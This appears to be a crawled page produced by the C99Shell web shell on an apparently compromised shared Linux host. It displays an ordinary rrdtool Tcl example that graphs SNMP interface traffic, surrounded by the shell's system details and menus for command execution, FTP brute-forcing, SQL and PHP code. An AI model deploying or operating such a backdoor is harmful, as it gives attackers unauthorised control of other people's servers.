!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.3.27 

uname -a: Linux pdx1-shared-a4-04 6.6.104-grsec-jammy+ #3 SMP Tue Sep 16 00:28:11 UTC 2025 x86_64 

uid=6659440(dh_z2jmpm) gid=2086089(pg10499364) groups=2086089(pg10499364)  

Safe-mode: OFF (not secure)

/usr/share/doc/rrdtool/examples/   drwxr-xr-x
Free 682.83 GB of 879.6 GB (77.63%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ifOctets.tcl (1.21 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |

#package require Tnm 3.0
package require Rrd 1.7.2

set rrdfile "[lindex $argv 0]-[lindex $argv 1].rrd"

# create rrdfile if not yet existent
if {[file exists $rrdfile] == 0} {
    Rrd::create $rrdfile --step 5 \
        DS:inOctets:COUNTER:10:U:U DS:outOctets:COUNTER:10:U:U \
        RRA:AVERAGE:0.5:1:12
}

# get an snmp session context
set session [Tnm::snmp generator -address [lindex $argv 0]]

# walk through the ifDescr column to find the right interface
$session walk descr IF-MIB!ifDescr {

    # is this the right interface?
    if {"[Tnm::snmp value $descr 0]" == "[lindex $argv 1]"} {

    # get the instance part of this table row
    set inst [lindex [Tnm::mib split [Tnm::snmp oid $descr 0]] 1]

    # get the two interface's octet counter values
    set in [lindex [lindex [$session get IF-MIB!ifInOctets.$inst] 0] 2]
    set out [lindex [lindex [$session get IF-MIB!ifOutOctets.$inst] 0] 2]

    # write the values to the rrd
    puts "$in $out"
    Rrd::update $rrdfile --template inOctets:outOctets N:$in:$out

    Rrd::graph gaga.png --title "gaga" \
        DEF:in=$rrdfile:inOctets:AVERAGE \
        DEF:out=$rrdfile:outOctets:AVERAGE \
        AREA:in#0000FF:inOctets \
        LINE2:out#00C000:outOctets

    #puts [Rrd::fetch $rrdfile AVERAGE]
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0104 ]--